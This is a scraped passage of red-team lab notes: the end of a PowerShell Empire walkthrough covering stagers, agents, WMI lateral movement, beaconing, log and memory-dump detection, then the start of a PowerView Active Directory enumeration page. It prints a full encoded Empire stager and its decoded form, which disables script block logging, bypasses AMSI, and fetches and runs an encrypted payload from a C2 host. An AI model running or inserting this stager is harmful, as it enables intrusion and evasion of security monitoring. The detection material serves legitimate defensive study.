![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWK0CF_1TeTS-_kBr_%252Fstager-pcap.png%3Falt%3Dmedia%26token%3D4064f95d-8454-4f7e-b058-8cf2da463b9b&width=768&dpr=3&quality=100&sign=d157e134&sv=2) To test this assumption, I created another http listener on port 80 - which worked immediately, leaving the meterpeter listener being buggy at least in my environment: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWKy8HeE5zbjesIzt0%252Fstager-http.png%3Falt%3Dmedia%26token%3D41bab2a0-d439-4955-8a71-b5640442df73&width=768&dpr=3&quality=100&sign=a386cc7a&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#agent) Agent ----------------------------------------------------------------------------------------------------------- Agent is essentially a compromised victim system that called back to the listener and is now ready to receive commands. Continuing testing with the `http` listener and a `multi/launcher` stager, the agent is finally returned once the `launcher.ps1` (read: stager) is executed on the victim system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWOkP33b87xf3C6hJ3%252Fstager-received.gif%3Falt%3Dmedia%26token%3D6880e203-ec56-4b0a-917b-37caa138f0f4&width=768&dpr=3&quality=100&sign=d44bc278&sv=2) Let's try getting one more agent back from another machine via [WMI lateral movement](https://www.ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement) : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLaBYv3P8aJw3l0BjUh%252F-LLaC4hMYRBCHBCaUYWV%252Fempire-lateral-wmi.gif%3Falt%3Dmedia%26token%3Db885f109-bac4-4517-a6ed-8e9e28533d7b&width=768&dpr=3&quality=100&sign=9cc28d2c&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#beaconing) Beaconing ------------------------------------------------------------------------------------------------------------------- With default http listener profile set, below are the most commonly used URLs of the agent beaconing back to the listener: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLWS2T-vWoqNhtjJNsc%252F-LLWSEd5ACT-o02P8anr%252Fagent-beaconing.png%3Falt%3Dmedia%26token%3Db0640bd4-ce9b-47be-9023-446289f5b949&width=768&dpr=3&quality=100&sign=f1cb6e99&sv=2) The packet data in any of those beacons: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLWS2T-vWoqNhtjJNsc%252F-LLWSz1Ba4UDElmG9waG%252Fagent-beacon-request-response.png%3Falt%3Dmedia%26token%3Decd25cc6-4d11-4fbb-a248-0e30ad974526&width=768&dpr=3&quality=100&sign=89642c6f&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#observations) Observations ------------------------------------------------------------------------------------------------------------------------- Note how executing the stager launcher.ps1 spawned another powershell instance and both parent and the child windows are hidden. Note that the children powershell was invoked with an encoded powershell command line: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLWVGLR6IzjwmsOuIOz%252F-LLWVJw-BVx-16T0GY6V%252Fagent-procmon.png%3Falt%3Dmedia%26token%3D168b5755-02de-4ac7-b06c-3d3cb20b4ef9&width=768&dpr=3&quality=100&sign=7c5362b5&sv=2) Stager's command line in base64: Decoded command line with notable user agent, C2 server and a session cookie: ### [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#logs) Logs If we isolate the evil powershell that was infected by the Empire in our SIEM, we can see the beacons: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LL_l_8NydTcSu1Gftie%252F-LL_lPhF9dYHUjF9wbBd%252Fagent-beacons-logs.png%3Falt%3Dmedia%26token%3D85d02661-1caf-40cb-9a0d-cedd6e775722&width=768&dpr=3&quality=100&sign=19b9ed9f&sv=2) A compromised system can generate event `800` showing the following in Windows PowerShell logs (powershell 5.0+): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LL_n4rkh2hKnhCuFw4Y%252F-LL_nmrsVCuTjbKjQlez%252Fempire-800.png%3Falt%3Dmedia%26token%3D85cf9214-f218-44d2-97d4-f0dc50d1a727&width=768&dpr=3&quality=100&sign=f59e9c86&sv=2) Also loads of `4103` events in `Microsoft-Windows-PowerShell/Operational`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LL_oSqu6eLJLBLBTjnp%252F-LL_okcMqJESPCiJtjAg%252Fempire-4103.png%3Falt%3Dmedia%26token%3D4ebabc5a-da54-482d-8be7-fb010347967d&width=768&dpr=3&quality=100&sign=ec902c9e&sv=2) In the same way, if PS transcript logging is enabled, the stager execution could be captured in there: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LL_oSqu6eLJLBLBTjnp%252F-LL_rV1b6fjvidda4fei%252Fempire-transcript.png%3Falt%3Dmedia%26token%3Df8d7f6b2-0c7c-4666-bf25-5702c78fc2bc&width=768&dpr=3&quality=100&sign=12d99b55&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#memory-dumps) Memory Dumps A memory dump can also reveal the same stager activity: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LL_zM_hDGi9i-ilx5d0%252F-LLa-5TX2paTh_ug6jl_%252Fempire-volatility.png%3Falt%3Dmedia%26token%3D7af9d091-5126-46cb-90b4-263cbcf3136a&width=768&dpr=3&quality=100&sign=3b3cbcd1&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#references) References --------------------------------------------------------------------------------------------------------------------- [http://www.harmj0y.net/blog/empire/expanding-your-empire/www.harmj0y.net](http://www.harmj0y.net/blog/empire/expanding-your-empire/) [http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/www.harmj0y.net](http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fassets.content.technologyadvice.com%2Fwonderhowto_favicon_920b4b43ef.webp&width=20&dpr=3&quality=100&sign=8006fecb&sv=2)How to Use PowerShell Empire: Getting Started with Post-Exploitation of Windows HostsNull Byte](https://null-byte.wonderhowto.com/how-to/use-powershell-empire-getting-started-with-post-exploitation-windows-hosts-0178664/) [https://ethicalhackingblog.com/hacking-powershell-empire-2-0/ethicalhackingblog.com](https://ethicalhackingblog.com/hacking-powershell-empire-2-0/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=6336508b&sv=2)Justin Warner – MediumMedium](http://www.sixdub.net/?p=627) [https://www.sans.org/reading-room/whitepapers/incident/disrupting-empire-identifying-powershell-empire-command-control-activity-38315](https://www.sans.org/reading-room/whitepapers/incident/disrupting-empire-identifying-powershell-empire-command-control-activity-38315) [PreviousCobalt Strike 101](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands) [NextSpiderfoot 101 with Kali using Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) Last updated 7 years ago * [Listener](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#listener) * [Stager](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#stager) * [Issues](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#issues) * [Agent](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#agent) * [Beaconing](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#beaconing) * [Observations](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#observations) * [Logs](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#logs) * [Memory Dumps](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#memory-dumps) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#references) Copy execute attacker@local Copy //specify what stager to use usestager windows/hta //associate stager with the meterpreter listener set Listener meterpreter //write stager to the file set OutFile stage.hta //create the stager execute attacker@local Copy interact usemodule powershell/lateral_movement/invoke_wmi set Agent set UserName offense\administrator set Password 123456 set ComputerName dc-mantvydas run Copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAGEATAB1AGUAKAAkAE4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMAD0AWwBDAG8AbABMAEUAYwB0AEkATwBuAHMALgBHAGUATgBlAFIAaQBDAC4ARABJAGMAdABpAG8ATgBhAFIAeQBbAHMAVABSAEkAbgBHACwAUwB5AHMAdABFAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAdgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AEIATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAEwAVQBlACgAJABuAFUATABMACwAKABOAGUAdwAtAE8AQgBqAEUAQwB0ACAAQwBvAEwAbABFAEMAVABJAG8AbgBTAC4ARwBFAE4AZQByAEkAQwAuAEgAYQBzAEgAUwBlAFQAWwBzAHQAcgBJAE4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEATABVAGUAKAAkAG4AVQBMAGwALAAkAHQAcgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAdABFAG0ALgBOAGUAdAAuAFMARQBSAFYAaQBjAGUAUABPAGkATgB0AE0AQQBOAEEARwBFAHIAXQA6ADoARQBYAHAAZQBDAHQAMQAwADAAQwBvAE4AdABJAE4AVQBlAD0AMAA7ACQAdwBjAD0ATgBFAFcALQBPAEIASgBlAEMAVAAgAFMAeQBTAFQAZQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAGQAZQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQA9AFsAUwBZAFMAdABFAG0ALgBOAEUAdAAuAFcARQBiAFIARQBRAFUAZQBTAFQAXQA6ADoARABFAGYAQQB1AEwAVABXAEUAYgBQAFIAbwB4AHkAOwAkAFcAQwAuAFAAUgBvAFgAWQAuAEMAcgBFAEQAZQBuAFQAaQBhAEwAUwAgAD0AIABbAFMAWQBzAHQAZQBNAC4ATgBFAFQALgBDAHIARQBkAEUATgBUAEkAQQBsAEMAYQBDAEgARQBdADoAOgBEAEUAZgBhAHUAbAB0AE4AZQBUAHcATwBSAGsAQwBSAGUAZABFAG4AVABpAGEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABFAE0ALgBUAEUAeABUAC4ARQBuAEMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAeQB0AGUAcwAoACcAUgAuACUAPwBWAHQAQwA4AHgAcQBnAG4AcwBGAGMANQBaACsAOgA5AHcAZABFAH0AQQBCAE0AcAB7AG0AegBPACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADEAOgA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AOQB1AGwAYQB0AEwASwBMAHgANQBEAFcAWgA1AEkAYQB3AFIAdQBzAEYAUwAyAFoAMgByAEEAPQAiACkAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEAZABEAGEAdABBACgAJABTAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAYQB0AEEAWwA0AC4ALgAkAEQAYQB0AEEALgBMAGUATgBnAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA== Copy If($PSVeRsiOnTabLe.PSVErSiON.MAJOR - ge 3) { $GPF = [ReF].AssEmBly.GeTTyPE('System.Management.Automation.Utils'). "GETFiE`ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static'); If($GPF) { $GPC = $GPF.GetVaLue($NulL); IF($GPC['ScriptB' + 'lockLogging']) { $GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0; $GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 } $vAL = [ColLEctIOns.GeNeRiC.DIctioNaRy[sTRInG, SystEm.ObjEct]]::nEw(); $val.ADd('EnableScriptB' + 'lockLogging', 0); $VaL.ADd('EnableScriptBlockInvocationLogging', 0); $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val } ELSE { [ScrIptBLOCk]. "GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg])) }[REF].ASSEMblY.GETTYpe('System.Management.Automation.AmsiUtils') | ? { $_ } | % { $_.GETField('amsiInitFailed', 'NonPublic,Static').SETVALUe($nULl, $trUe) }; }; [SyStEm.Net.SERVicePOiNtMANAGEr]::EXpeCt100CoNtINUe = 0; $wc = NEW - OBJeCT SySTeM.Net.WebCLIENT; $u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $wc.HeAderS.Add('User-Agent', $u); $wc.PROXy = [SYStEm.NEt.WEbREQUeST]::DEfAuLTWEbPRoxy; $WC.PRoXY.CrEDenTiaLS = [SYsteM.NET.CrEdENTIAlCaCHE]::DEfaultNeTwORkCRedEnTiaLs; $Script: Proxy = $wc.Proxy; $K = [SystEM.TExT.EnCODINg]::ASCII.GeTBytes('R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO'); $R = { $D, $K = $ARGS;$S = 0. .255;0. .255 | % { $J = ($J + $S[$_] + $K[$_ % $K.COUNt]) % 256;$S[$_], $S[$J] = $S[$J], $S[$_] };$D | % { $I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I], $S[$H] = $S[$H], $S[$I];$_ - bxor$S[($S[$I] + $S[$H]) % 256] } }; $ser = 'http://192.168.2.71:80'; $t = '/login/process.php'; $Wc.HEAderS.AdD("Cookie", "session=9ulatLKLx5DWZ5IawRusFS2Z2rA="); $dAta = $WC.DoWNloAdDatA($SER + $t); $Iv = $DATa[0. .3]; $DaTA = $DatA[4..$DatA.LeNgTH]; - jOiN[ChaR[]]( & $R $datA($IV + $K)) | IEX Copy volatility -f /mnt/memdumps/w7-empire.bin consoles --profile Win7SP1x64 --- # PowerView: Active Directory Enumeration | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview.md) . This lab explores a couple of common cmdlets of PowerView that allows for Active Directory/Domain enumeration. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomain) Get-NetDomain --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get current user's domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzcu9yUBckhGDnpEL1%252F-LLzd9N9rZOj1zqIhSBF%252Fpowerview-getnetdomain.png%3Falt%3Dmedia%26token%3D2d96e2bd-a65e-4eca-a823-475392712b2d&width=768&dpr=3&quality=100&sign=e1acc886&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforest) Get-NetForest --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get information about the forest the current user's domain is in: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzcu9yUBckhGDnpEL1%252F-LLzddnEPdmu7Q8SfouR%252Fpowerview-forestinfo.png%3Falt%3Dmedia%26token%3D39331786-3ea3-4879-a3a1-809c9d1cf349&width=768&dpr=3&quality=100&sign=6cc9d4d0&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforestdomain) Get-NetForestDomain --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get all domains of the forest the current user is in: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzcu9yUBckhGDnpEL1%252F-LLzf0S10E1OSY7T7k9H%252Fpowerview-forest-domains.png%3Falt%3Dmedia%26token%3D1c918630-aa6f-4b2e-8ec0-f15db28d59a5&width=768&dpr=3&quality=100&sign=c80aab52&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomaincontroller) Get-NetDomainController ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get info about the DC of the domain the current user belongs to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzcu9yUBckhGDnpEL1%252F-LLzfOFLgrOxW6Y-bR52%252Fpowerview-getdc.png%3Falt%3Dmedia%26token%3Da1cf8a65-5cd7-46ff-9bda-07805a09aa4e&width=768&dpr=3&quality=100&sign=aae4179f&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netgroupmember) Get-NetGroupMember ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get a list of domain members that belong to a given group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzg0oOoEp1IZFTfNWi%252F-LLzgA_HPmbcYClpCNOt%252Fpowerview-groups.png%3Falt%3Dmedia%26token%3Dafd61ad7-fd32-41fd-b55f-4570941a9135&width=768&dpr=3&quality=100&sign=8d0f153d&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netloggedon) Get-NetLoggedon ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get users that are logged on to a given computer: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzg0oOoEp1IZFTfNWi%252F-LLzhPeRsZfpet96kWuT%252Fpowerview-connected-users.png%3Falt%3Dmedia%26token%3Ddc17d021-11e7-4958-a18f-0dc81f3c657b&width=768&dpr=3&quality=100&sign=4410d12a&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netdomaintrust) Get-NetDomainTrust ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Enumerate domain trust relationships of the current user's domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzleS4g0dxZT8fVUSL%252F-LLzhpw5yYwcsbZ5Arzk%252Fpowerview-domain-trusts.png%3Falt%3Dmedia%26token%3D2629195f-b4f1-4a5e-b288-838eefea6131&width=768&dpr=3&quality=100&sign=84666c6b&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netforesttrust) Get-NetForestTrust ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Enumerate forest trusts from the current domain's perspective: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzleS4g0dxZT8fVUSL%252F-LLzi97c12Py-wn6iGz1%252Fpowerview-foresttrusts.png%3Falt%3Dmedia%26token%3D8b4de389-39f0-4b29-b5e6-2769465f6a3e&width=768&dpr=3&quality=100&sign=a987febe&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#get-netprocess) Get-NetProcess ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- Get running processes for a given remote machine: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQItdzMOGqHK9h9YNfz%252F-LQIu2VkugNWZBJbC43M%252FScreenshot%2520from%25202018-11-02%252010-11-17.png%3Falt%3Dmedia%26token%3D8953902b-db5a-443a-8a38-33851553efb5&width=768&dpr=3&quality=100&sign=f7e7e569&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-mapdomaintrust) Invoke-MapDomainTrust ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Enumerate and map all domain trusts: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLzleS4g0dxZT8fVUSL%252F-LLzjb4pR0R0QZFWnSEL%252Fpowerview-all-domain-trusts.png%3Falt%3Dmedia%26token%3D01bff020-d0a6-4619-be8c-a21c13d81f18&width=768&dpr=3&quality=100&sign=53d5e080&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview#invoke-sharefinder) Invoke-ShareFinder ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Enumerate shares on a given PC - could be easily combines with other scripts to enumerate all machines in the domain: 